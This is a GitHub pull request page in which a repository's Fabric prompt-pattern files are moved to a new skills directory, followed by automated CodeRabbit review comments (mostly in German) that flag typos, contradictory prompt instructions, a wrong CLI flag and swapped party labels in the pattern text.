This repository was archived by the owner on Jun 9, 2026. It is now read-only.
refactor(skills): Fabric Patterns Ps–Z + Workflows + SKILL.md → Utilities/Fabric/ (PR-06 of 12) - #73
Merged
Conversation
… Utilities/Fabric/ (3/3) Relocate 58 Fabric pattern files (Ps through Z range), Workflows, and SKILL.md from legacy skill paths to .opencode/skills/Utilities/Fabric/. Completes the 3-part Fabric pattern migration: - PR-04: Patterns A-Kn (130 files) - PR-05: Patterns Ko-Pr (130 files) - PR-06: Patterns Ps-Z + Workflows + SKILL.md (58 files) ← this PR Part of the v3.0 skill reorganization migration (PR 6 of 12). Ref: WARNEX-80
Contributor
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughDieser PR fügt zahlreiche neue, rein dokumentarische Fabric‑Pattern‑ und Workflow‑Dateien unter Changes
Sequence Diagram(s)sequenceDiagram
participant User as User
participant Selector as Pattern Selector
participant Loader as Pattern Loader (system.md)
participant Executor as Native Executor
participant CLI as Fabric CLI (fallback)
User->>Selector: Anfrage / Input
Selector->>Loader: Lade passende `system.md`
Loader-->>Selector: Pattern‑Instruktionen
Selector->>Executor: Übergib Input + Pattern
Executor->>Executor: Anwenden der Pattern‑Anweisungen
Executor-->>User: Ergebnis (pattern‑konformes Output)
alt URL mit Zugriffsbeschränkung oder YouTube
Selector->>CLI: Delegiere an Fabric CLI
CLI-->>User: Ergebnis via CLI
end
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~25 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
📝 Coding Plan
Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
Contributor
There was a problem hiding this comment.
Actionable comments posted: 19
Note
Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md (1)
10-16:⚠️ Potential issue | 🟠 MajorWidersprüchliche und vermutlich falsch ausgerichtete Instruktionen.
Line 10 verlangt ein ASCII-Diagramm, während Line 16 „only output the list“ erzwingt. Zusätzlich passt die Mission/Goals/Projects-Visualisierung semantisch nur begrenzt zu
t_analyze_challenge_handling. Bitte Output-Vertrag und Pattern-Zweck harmonisieren.As per coding guidelines, "PAI Skills — Domain-specific sub-algorithms."
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md around lines 10 - 16, The file .opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md contains contradictory output rules: the directive "Create an ASCII art diagram of the relationship my missions, goals, and projects." conflicts with "Only output the list, nothing else."; update the pattern to be consistent by choosing one output contract and editing the corresponding line—either change the ASCII-diagram request (Line 10) to request a plain list that fits "only output the list, nothing else" or relax the list-only constraint (Line 16) to allow an ASCII diagram; ensure the final text references the pattern name t_analyze_challenge_handling and clarifies which format (ASCII diagram or list) is expected so downstream code can rely on a single, unambiguous output instruction.
🟡 Minor comments (15)
.opencode/skills/Utilities/Fabric/Patterns/t_extract_panel_topics/system.md-15-15 (1)
15-15:⚠️ Potential issue | 🟡 MinorSchreibweise von „Markdown“ korrigieren
Kleine Text-/Terminologiekorrektur: „markdown“ sollte als Eigenname „Markdown“ geschrieben werden.
Vorgeschlagene Anpassung
-1. Only use basic markdown formatting. No special formatting or italics or bolding or anything. +1. Only use basic Markdown formatting. No special formatting or italics or bolding or anything.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_extract_panel_topics/system.md at line 15, In system.md replace the lowercase token "markdown" with the proper proper noun "Markdown" everywhere it appears (e.g., the occurrence noted in the text header/description), ensuring capitalization is corrected and no other formatting changes are introduced..opencode/skills/Utilities/Fabric/Patterns/summarize_git_changes/system.md-3-3 (1)
3-3:⚠️ Potential issue | 🟡 MinorKleine Formulierungsungenauigkeit im Kernsatz.
In Line 3 ist die Grammatik holprig und die Schreibweise von „GitHub“ uneinheitlich, was die Prompt-Klarheit unnötig senkt.
✏️ Vorschlag
-You are an expert project manager and developer, and you specialize in creating super clean updates for what changed a Github project in the last 7 days. +You are an expert project manager and developer, and you specialize in creating super-clean updates about what changed in a GitHub project over the last 7 days.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_git_changes/system.md at line 3, Die Kernformulierung in der Prompt-Zeile ("You are an expert project manager and developer, and you specialize in creating super clean updates for what changed a Github project in the last 7 days.") ist grammatikalisch holprig und verwendet "Github" inkonsistent; überarbeite diese Zeile in system.md so dass sie flüssig klingt und "GitHub" korrekt großgeschrieben ist (z.B. "You are an expert project manager and developer who creates clear, concise summaries of what changed in a GitHub project over the last 7 days."); ersetze die alte Satzformulierung genau dort, wo der ursprüngliche Prompt-Text steht, und bewahre den gleichen Ton und Zweck der Anweisung..opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md-11-11 (1)
11-11:⚠️ Potential issue | 🟡 MinorRechtschreibfehler korrigieren.
Zeile 11: "wholistic" sollte "holistic" sein (Standardschreibweise).
📝 Vorgeschlagene Korrektur
-3. Give a wholistic, unbiased view of the proposal that characterizes its overall purpose and goals. +3. Give a holistic, unbiased view of the proposal that characterizes its overall purpose and goals.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md at line 11, Ersetze im System-Prompt-Satz, der mit "3. Give a wholistic, unbiased view of the proposal..." beginnt, das falsch geschriebene Wort "wholistic" durch die Standardschreibweise "holistic" (also: "Give a holistic, unbiased view of the proposal..."); stelle sicher, dass nur die Rechtschreibung geändert wird und die restliche Formulierung unangetastet bleibt..opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md-26-28 (1)
26-28:⚠️ Potential issue | 🟡 MinorRechtschreibfehler in den Ausgabespezifikationen korrigieren.
Es wurden mehrere Rechtschreibfehler in den OUTPUT-Anweisungen identifiziert:
- Zeile 26: "misinterpreation" → sollte "misinterpretation" sein
- Zeile 28: "METACOGNITIVIVE" → sollte "METACOGNITIVE" sein
- Zeile 28: "accuratelly" → sollte "accurately" sein
Diese Fehler beeinträchtigen die Professionalität der Dokumentation.
📝 Vorgeschlagene Korrektur
-- In a section called UNDERESTIMATION OF COMPETENCE, output a set of 10, 16-word bullets,that capture the principal misinterpreation of underestimation of their knowledge or skill which are preventing the input owner to see opportunities. +- In a section called UNDERESTIMATION OF COMPETENCE, output a set of 10, 16-word bullets,that capture the principal misinterpretation of underestimation of their knowledge or skill which are preventing the input owner to see opportunities. -- In a section called METACOGNITIVIVE SKILLS, output a set of 10-word bullets that expose areas where the input owner struggles to accuratelly assess their own performance and may not be aware of the gap between their actual ability and their perceived ability. +- In a section called METACOGNITIVE SKILLS, output a set of 10-word bullets that expose areas where the input owner struggles to accurately assess their own performance and may not be aware of the gap between their actual ability and their perceived ability.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md around lines 26 - 28, Fix the spelling mistakes in the output spec: change "misinterpreation" to "misinterpretation" in the UNDERESTIMATION OF COMPETENCE section and change "METACOGNITIVIVE" to "METACOGNITIVE" and "accuratelly" to "accurately" in the METACOGNITIVE SKILLS section; update the strings exactly where those section headings and bullet instructions appear so the document uses the corrected words..opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md-33-34 (1)
33-34:⚠️ Potential issue | 🟡 MinorDoppelte "END EXAMPLES"-Markierung entfernen.
Zeilen 33-34 enthalten zweimal "END EXAMPLES". Eine Zeile sollte entfernt werden.
🧹 Vorgeschlagene Korrektur
END EXAMPLES - -END EXAMPLES 3. In a section called POSITIVE CHARACTERIZATION, capture how the submitting party is trying to make the proposal look, i.e., the positive spin they're putting on it. Give this as a set of 15-word bullet points.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md around lines 33 - 34, Entferne die doppelte Markierung "END EXAMPLES" im Markdown: behalte nur eine Zeile mit exakt "END EXAMPLES" und lösche die überflüssige Wiederholung, sodass die Datei nicht mehr zwei identische "END EXAMPLES"-Zeilen enthält..opencode/skills/Utilities/Fabric/Patterns/summarize_paper/README.md-20-20 (1)
20-20:⚠️ Potential issue | 🟡 MinorKorrigiere die OS-Bezeichnung auf „macOS“.
In Line 20 ist „MacOS/Linux“ uneinheitlich; bitte „macOS/Linux“ verwenden.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_paper/README.md at line 20, Replace the string "MacOS" in the heading "Example run in MacOS/Linux:" with the correct casing "macOS" so the line reads "Example run in macOS/Linux:"; update the README.md entry accordingly to ensure consistent OS naming..opencode/skills/Utilities/Fabric/Patterns/write_hackerone_report/README.md-44-44 (1)
44-44:⚠️ Potential issue | 🟡 MinorBefehl enthält Tippfehler (
bbReportFromatter).In Line 44 sollte der Toolname konsistent
bbReportFormatterheißen, sonst funktioniert der gezeigte Aufruf nicht.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/write_hackerone_report/README.md at line 44, Fix the typo in the README command string: change the incorrect tool name "bbReportFromatter" to the correct "bbReportFormatter" in the line that shows the example invocation so the command `bbReportFormatter --print-report` is consistent and works as documented..opencode/skills/Utilities/Fabric/Patterns/threshold/system.md-190-190 (1)
190-190:⚠️ Potential issue | 🟡 MinorFehlendes Wort: "or" zwischen "arrays" und "any" einfügen.
Die Anweisung ist grammatikalisch unvollständig. Es sollte "arrays or any other data types" heißen.
📝 Vorgeschlagene Korrektur
-Only return strings in the JSON object. Do not return arrays any other data types. +Only return strings in the JSON object. Do not return arrays or any other data types.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md at line 190, Fix the grammar in the sentence that currently reads "Only return strings in the JSON object. Do not return arrays any other data types." by inserting the missing word "or" so it reads "Do not return arrays or any other data types."; locate that exact sentence in .opencode/skills/Utilities/Fabric/Patterns/threshold/system.md and update it accordingly..opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md-3-3 (1)
3-3:⚠️ Potential issue | 🟡 MinorTippfehler korrigieren: "in-personal personal" sollte "in-person" sein.
Der Text enthält eine Verdopplung: "in-personal personal role-playing game sessions" sollte wahrscheinlich "in-person role-playing game sessions" lauten.
📝 Vorgeschlagene Korrektur
-You are an expert summarizer of in-personal personal role-playing game sessions. You take the transcript of a conversation between friends and extract out the part of the conversation that is talking about the role playing game, and turn that into the summary sections below. +You are an expert summarizer of in-person role-playing game sessions. You take the transcript of a conversation between friends and extract out the part of the conversation that is talking about the role-playing game, and turn that into the summary sections below.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md at line 3, The system prompt sentence "You are an expert summarizer of in-personal personal role-playing game sessions." contains a duplication/typo; replace the phrase "in-personal personal" with "in-person" so the sentence reads "You are an expert summarizer of in-person role-playing game sessions." Update the exact string in system.md (search for the phrase "You are an expert summarizer of in-personal personal role-playing game sessions.") and save the file..opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md-92-92 (1)
92-92:⚠️ Potential issue | 🟡 MinorGrammatikfehler korrigieren: Logik der Anweisung ist inkonsistent.
Die Anweisung "focuses on the recent episode, just the background from before" ist grammatikalisch unklar. Gemeint ist wahrscheinlich "not just the background from before".
📝 Vorgeschlagene Korrektur
-- Ensure the Previously On output focuses on the recent episode, just the background from before. +- Ensure the Previously On output focuses on the recent episode, not just the background from before.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md at line 92, Replace the unclear sentence "Ensure the Previously On output focuses on the recent episode, just the background from before." in the system prompt with a corrected, unambiguous instruction such as "Ensure the Previously On output focuses on the recent episode, not just the background from before." so the intent is clear; update the line containing the phrase "Previously On output focuses on the recent episode" accordingly..opencode/skills/Utilities/Fabric/Patterns/threshold/system.md-188-188 (1)
188-188:⚠️ Potential issue | 🟡 MinorTippfehler korrigieren: "one-pont" sollte "one-point" sein.
Der Begriff "one-pont level" ist fehlerhaft und sollte "one-point level" lauten.
📝 Vorgeschlagene Korrektur
-- Use granular scoring at the one-pont level of granularity, meaning give a 77 if it's not a 78, vs. rounding down to 75 or up to 80. +- Use granular scoring at the one-point level of granularity, meaning give a 77 if it's not a 78, vs. rounding down to 75 or up to 80.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md at line 188, Im Textabschnitt, der derzeit "one-pont level" verwendet (die Zeichenkette "Use granular scoring at the one-pont level of granularity, meaning give a 77 if it's not a 78, vs. rounding down to 75 or up to 80."), korrigiere den Tippfehler, indem du "one-pont" zu "one-point" änderst, sodass die Formulierung korrekt "one-point level" lautet; belasse den restlichen Satzinhalt unverändert..opencode/skills/Utilities/Fabric/Patterns/threshold/system.md-186-186 (1)
186-186:⚠️ Potential issue | 🟡 MinorTippfehler korrigieren: "topcis" sollte "topics" sein.
Die Anweisung enthält einen Tippfehler: "INTERESTS topcis" sollte "INTERESTS topics" lauten.
📝 Vorgeschlagene Korrektur
-- Score the content VERY LOW if it doesn't include interesting ideas or any relation to the INTERESTS topcis +- Score the content VERY LOW if it doesn't include interesting ideas or any relation to the INTERESTS topics🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md at line 186, Korrigiere den Tippfehler in dem Textsegment "Score the content VERY LOW if it doesn't include interesting ideas or any relation to the INTERESTS topcis" indem du "INTERESTS topcis" zu "INTERESTS topics" änderst; überprüfe die umliegende Formulierung auf ähnliche Tippfehler und passe nur dieses Vorkommen an..opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md-58-58 (1)
58-58:⚠️ Potential issue | 🟡 MinorTippfehler korrigieren: "Continuousontinuous" sollte "Continuous" sein.
Das Wort "Continuousontinuous" in der THEMES-Sektion ist fehlerhaft.
📝 Vorgeschlagene Korrektur
-Continuousontinuous human improvement +Continuous human improvement🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md at line 58, Tippfehler in der THEMES-Sektion: ersetze das Token "Continuousontinuous" durch "Continuous"; suche in der Datei nach der THEMES-Überschrift bzw. dem String "Continuousontinuous" und aktualisiere diesen Eintrag so, dass nur "Continuous" steht, ohne weitere Änderungen an Kontext oder Formatierung..opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md-104-104 (1)
104-104:⚠️ Potential issue | 🟡 MinorFehlendes schließendes Anführungszeichen.
Die Zeile endet mit einem öffnenden Anführungszeichen, aber das schließende Anführungszeichen fehlt am Ende.
📝 Vorgeschlagene Korrektur
-(Note that the transcript below is of the full conversation between friends, and may include regular conversation throughout. Read the whole thing and figure out yourself which part is part of the game and which parts aren't." +(Note that the transcript below is of the full conversation between friends, and may include regular conversation throughout. Read the whole thing and figure out yourself which part is part of the game and which parts aren't.")🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md at line 104, The markdown line starting with "(Note that the transcript below is of the full conversation between friends, and may include regular conversation throughout. Read the whole thing and figure out yourself which part is part of the game and which parts aren't." is missing a closing quotation mark; fix it by adding a closing double-quote at the end of that line so the string is properly quoted..opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md-33-33 (1)
33-33:⚠️ Potential issue | 🟡 MinorUnvollständige DSL-Anweisung mit offenen Platzhaltern
Die Formulierung auf Line 33 endet mit einem offenen
{{und ist semantisch unvollständig. Das erhöht die Wahrscheinlichkeit für fehlerhafte Ausdrucke in generierten Templates.✏️ Vorschlag
-When using dsl you don’t need to re-use {{}} if you are already inside a {{ +When using DSL, do not nest `{{ }}` inside an existing `{{ ... }}` expression.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md at line 33, The DSL expression contains a dangling open placeholder "{{" inside the inline DSL block; remove the extra "{{" (or close it properly) so you don't nest braces — replace the nested "{{" with just the variable/expression name or complete the placeholder (e.g., use the variable directly inside the outer {{ ... }}), ensuring the DSL placeholder is a single well-formed {{ ... }} expression rather than an open "{{".
🧹 Nitpick comments (13)
.opencode/skills/Utilities/Fabric/Patterns/t_extract_panel_topics/system.md (1)
11-11: Unklare Perspektive durch „me“ im Pattern-Text„not just me“ ist in einem wiederverwendbaren System-Prompt mehrdeutig (wer ist „me“?). Das kann die Ausgabe je nach Ausführungskontext inkonsistent machen. Bitte auf eine explizite Zielreferenz umstellen (z. B. „the target person/requester“).
Vorgeschlagene Anpassung
-5. Write them so that they'd be good panels for others to participate in as well, not just me. +5. Write them so that they'd be good panels for others to participate in as well, not just the target person/requester.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_extract_panel_topics/system.md at line 11, The phrase "not just me" in the pattern text "Write them so that they'd be good panels for others to participate in as well, not just me." is ambiguous; update that sentence to use an explicit target reference such as "not just the target person/requester" (or "not just the original requester") so the system prompt is unambiguous and reproducible across contexts—locate the line containing that exact sentence in system.md and replace the "not just me" fragment with the chosen explicit phrase..opencode/skills/Utilities/Fabric/Patterns/transcribe_minutes/system.md (1)
19-20: Die Mindestvorgabe „at least 20“ ist bei kurzen Meetings nicht immer erfüllbar.Wenn ein Transkript weniger als 20 verwertbare Punkte enthält, erzwingt diese Regel Halluzinationen statt Extraktion.
Robustere Formulierung
- - In a section called MINUTES, write 20 to 50 bullet points, highlighting of the most surprising, insightful, and/or interesting ideas that come up in the conversation. If there are less than 50 then collect all of them. Make sure you extract at least 20. + - In a section called MINUTES, write up to 50 bullet points of the most insightful ideas from the conversation. + - If fewer than 20 valid points exist, include all available points and do not invent content.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/transcribe_minutes/system.md around lines 19 - 20, Die bestehende Anweisung in der MINUTES-Sektion zwingt bei kurzen Meetings zu Halluzinationen; bitte ändere den Text so, dass er fordert: "Schreibe bis zu 50 Bullet-Points mit den überraschendsten/ansprechendsten Ideen; wenn das Transkript weniger als 20 verwertbare Punkte enthält, sammle stattdessen alle tatsächlich vorhandenen Punkte (keine erfundenen), und gib die tatsächliche Anzahl an." Aktualisiere die Formulierung in .opencode/skills/Utilities/Fabric/Patterns/transcribe_minutes/system.md in der MINUTES-Anweisung (ersetzt die aktuelle "20 to 50" Regel) und stelle sicher, dass die Anweisung ausdrücklich verbietet, fehlende Punkte zu halluzinieren..opencode/skills/Utilities/Fabric/Patterns/summarize_micro/system.md (1)
18-18: Kleine Stilverbesserung in der Ausgabeanweisung.Auf Line 18 ist
human-readable Markdownsprachlich präziser alshuman readable Markdown.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_micro/system.md at line 18, In the system prompt text in .opencode/skills/Utilities/Fabric/Patterns/summarize_micro/system.md replace the phrase "human readable Markdown" with the hyphenated form "human-readable Markdown" (update the exact string on the line containing "human readable Markdown" to "human-readable Markdown")..opencode/skills/Utilities/Fabric/Patterns/t_extract_intro_sentences/system.md (1)
14-14: Kleine Terminologie-Korrektur für Konsistenz.Auf Line 14 bitte
markdownzuMarkdownändern, damit die Schreibweise im Skill-Katalog einheitlich bleibt.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_extract_intro_sentences/system.md at line 14, In der angegebenen Datei bitte die Kleinbuchstaben-Wortmarke `markdown` auf Line 14 zu `Markdown` ändern, damit die Schreibweise im Skill-Katalog konsistent ist; suche nach dem Vorkommen des Tokens `markdown` im Text und ersetze es durch `Markdown`..opencode/skills/Utilities/Fabric/Patterns/summarize_prompt/system.md (1)
22-22: Formulierung leicht glätten.Auf Line 22 wäre
human-readable Markdownstilistisch sauberer alshuman readable Markdown.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_prompt/system.md at line 22, Ändere die Formulierung in der Systembeschreibung, ersetze die Phrase "You only output human readable Markdown." durch "You only output human-readable Markdown." und achte darauf, den Bindestrich in der zusammengesetzten Adjektivform beizubehalten, damit die Stilistik konsistent bleibt..opencode/skills/Utilities/Fabric/Patterns/t_find_blindspots/system.md (1)
14-14: Schreibweise von Markdown angleichen.Auf Line 14 bitte
Markdownstattmarkdownverwenden.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_find_blindspots/system.md at line 14, Die Schreibweise in der Datei enthält an einer Stelle das Wort "markdown" klein geschrieben; bitte dort das Token "markdown" durch "Markdown" ersetzen (achte auf die exakte Zeichenfolge "markdown" im Text, großschreiben auf "Markdown") so dass die Konsistenz der Markdown-Bezeichnung wiederhergestellt wird..opencode/skills/Utilities/Fabric/Patterns/summarize/system.md (1)
3-3: Terminologie vereinheitlichen (optional).Auf Line 3 und Line 18 wären
Markdown-formattedbzw.human-readablekonsistenter formuliert.Also applies to: 18-18
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize/system.md at line 3, Unify the terminology used for output formatting by choosing one consistent phrase and replacing the other: either change "Markdown-formatted" (currently on Line 3) to "human-readable" or change "human-readable" (currently on Line 18) to "Markdown-formatted" so both occurrences match; update both occurrences of the phrases "Markdown-formatted" and "human-readable" in the document (system.md) to the chosen term and ensure surrounding wording remains grammatically correct..opencode/skills/Utilities/Fabric/Patterns/summarize_pull-requests/system.md (1)
29-29: Konsistenz bei zusammengesetzten Begriffen.Auf Line 29 bitte
human-readable Markdownverwenden, analog zu üblichen Markdown-Styleguides.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_pull-requests/system.md at line 29, In der angegebenen textstelle ersetze die Phrase "human readable Markdown" durch die korrekt zusammengesetzte Form "human-readable Markdown"; suche nach dem exakten Ausdruck "human readable Markdown" in system.md und aktualisiere ihn auf "human-readable Markdown" (ohne weitere Änderungen)..opencode/skills/Utilities/Fabric/Patterns/t_give_encouragement/system.md (1)
14-14: Terminologie-Konsistenz (optional).Auf Line 14
Markdowngroßschreiben, damit die Benennung durchgängig konsistent bleibt.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_give_encouragement/system.md at line 14, Die Terminologie ist inkonsistent: das Vorkommen von "markdown" soll durchgängig großgeschrieben als "Markdown" sein; suche das Token "markdown" im Text (aktuelles Vorkommen lautet klein) und ändere es zu "Markdown", sodass die Benennung konsistent ist..opencode/skills/Utilities/Fabric/Patterns/t_visualize_mission_goals_projects/system.md (1)
10-10: Pronomen-Inkonsistenz in Schritt 4 überprüfen.Die Formulierung "the relationship my missions, goals, and projects" verwendet "my", was sich auf den AI-Agenten zu beziehen scheint. Vermutlich sollte es "the relationship between the input owner's missions, goals, and projects" oder "their missions, goals, and projects" heißen, um Klarheit zu schaffen.
💬 Vorgeschlagene Umformulierung
-4. Create an ASCII art diagram of the relationship my missions, goals, and projects. +4. Create an ASCII art diagram of the relationship between their missions, goals, and projects.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_visualize_mission_goals_projects/system.md at line 10, Step 4's phrasing "the relationship my missions, goals, and projects" is pronoun-inconsistent; replace that phrase with a neutral, clear form such as "the relationship between the input owner's missions, goals, and projects" or "the relationship between their missions, goals, and projects" wherever the exact string "the relationship my missions, goals, and projects" appears (Step 4 / the step text)..opencode/skills/Utilities/Fabric/Patterns/summarize_lecture/system.md (1)
14-14: Möglicher Tippfehler in Zeile 14."Node each topic as a headline" könnte ein Tippfehler sein. Falls "Note each topic as a headline" gemeint ist, sollte dies korrigiert werden. Falls "Node" jedoch ein beabsichtigter Fachbegriff ist (z. B. im Sinne von "Knotenpunkt erstellen"), kann dies ignoriert werden.
📝 Mögliche Korrektur (falls Tippfehler)
-Node each topic as a headline. In case it has sub-topics or tools, use sub-headlines as markdowns. +Note each topic as a headline. In case it has sub-topics or tools, use sub-headlines as markdowns.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_lecture/system.md at line 14, The phrase "Node each topic as a headline" in the system prompt should be corrected to "Note each topic as a headline" unless "Node" is intentionally used; update the string "Node each topic as a headline. In case it has sub-topics or tools, use sub-headlines as markdowns." in .opencode/skills/Utilities/Fabric/Patterns/summarize_lecture/system.md to replace "Node" with "Note" (or document/clarify the intended technical meaning of "Node" if it was deliberate)..opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md (1)
63-71: Code-Fences ohne Sprachkennung erzeugen vermeidbare Lint-Warnungen.Bitte bei den reinen Text-/Tree-Beispielen
textsetzen (z. B. ```text), damit MD040 sauber bleibt.Also applies to: 92-126, 132-166, 198-206, 209-216
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md around lines 63 - 71, The markdown contains code fences with no language tag (e.g. the block beginning "[Content from user] ↓ [Read Patterns/extract_wisdom/system.md]...") which triggers MD040; update those pure text/tree example fences to use the text language (replace ``` with ```text) in the shown example and the other occurrences referenced (lines 92-126, 132-166, 198-206, 209-216) so linting passes; search for code fences used for illustrative text or tree outputs in ExecutePattern.md and add the `text` tag to each such fence (leave real code blocks with proper language tags unchanged)..opencode/skills/Utilities/Fabric/Patterns/summarize_debate/system.md (1)
61-61: Markdown-Regel präzisieren, um Interpretationsspielraum zu vermeidenDie Vorgabe „Only output Markdown, but don't use any Markdown formatting like bold or italics“ ist leicht widersprüchlich lesbar. Eine präzisere Formulierung reduziert Fehlinterpretationen.
✍️ Vorschlag
-- Only output Markdown, but don't use any Markdown formatting like bold or italics. +- Output plain Markdown text with section titles and bullet lists only; do not use emphasis (bold/italics).🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_debate/system.md at line 61, Die Anweisung "Only output Markdown, but don't use any Markdown formatting like bold or italics." ist widersprüchlich und sollte präzisiert werden: ersetze diese Zeile durch eine klare Regel, z.B. "Output must be valid Markdown using only structural elements (headings, lists, code blocks, blockquotes, links) and no inline/visual formatting such as bold, italics, strikethrough, inline code emphasis, or HTML." so consumer code and reviewers (search for the exact sentence "Only output Markdown, but don't use any Markdown formatting like bold or italics.") wissen genau welche Markdown constructs (structural vs inline) are allowed and which are prohibited.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.opencode/skills/Utilities/Fabric/Patterns/suggest_pattern/user_updated.md:
- Around line 21-23: Summary: The example uses inconsistent casing for the
patterns directory (`~/.config/fabric/patterns` vs `~/.config/fabric/Patterns/`)
which can fail on case-sensitive filesystems; fix by using a consistent path.
Update the copy command to copy into the same lowercase directory shown earlier
(change `cp -a ~/.config/custom-fabric-patterns/* ~/.config/fabric/Patterns/` to
`cp -a ~/.config/custom-fabric-patterns/* ~/.config/fabric/patterns/`) and
ensure the subsequent run example (`pbpaste | fabric -p your_custom_pattern`)
remains correct after this path normalization.
- Line 31: In user_updated.md the short CLI flag is incorrect: replace the
string "--update, -u" with "--update, -U" so the Pattern update flag matches the
official Fabric-CLI usage (consistent with UpdatePatterns.md and other docs);
update the single line containing that flag in user_updated.md to use -U as the
short option.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_debate/system.md:
- Around line 43-50: The ARGUMENTS and MIND-CHANGING EVIDENCE lines are
incorrectly mapped between “first party” and “second party”; update the text so
each section describes the correct party: change the line that reads "Output a
(use the name of the first party) ARGUMENTS section with ... of the arguments
made by the second party" to state "arguments made by the first party", change
the line that reads "Output a (use the name of the second party) ARGUMENTS
section with ... of the arguments made by the second party" to remain or clarify
as "arguments made by the second party" if needed, and fix both MIND-CHANGING
EVIDENCE lines so the first person’s MIND-CHANGING EVIDENCE lists evidence that
would change the first party, and the second person’s MIND-CHANGING EVIDENCE
lists evidence that would change the second party (replace incorrect references
to “the first party” where they currently point to the opposite party); ensure
the four section headers (first ARGUMENTS, second ARGUMENTS, first MIND-CHANGING
EVIDENCE, second MIND-CHANGING EVIDENCE) consistently reference the matching
party names.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_meeting/system.md:
- Around line 27-33: The template currently requires exactly 16 words for KEY
POINTS, TASKS, DECISIONS, and NEXT STEPS but also defines a fallback "No
information available", which conflicts when a section is empty; update the
logic that generates these sections (the KEY POINTS / TASKS / DECISIONS / NEXT
STEPS rules) to first check if the section has content and if empty emit the
fallback "No information available", otherwise enforce the 16-word constraint
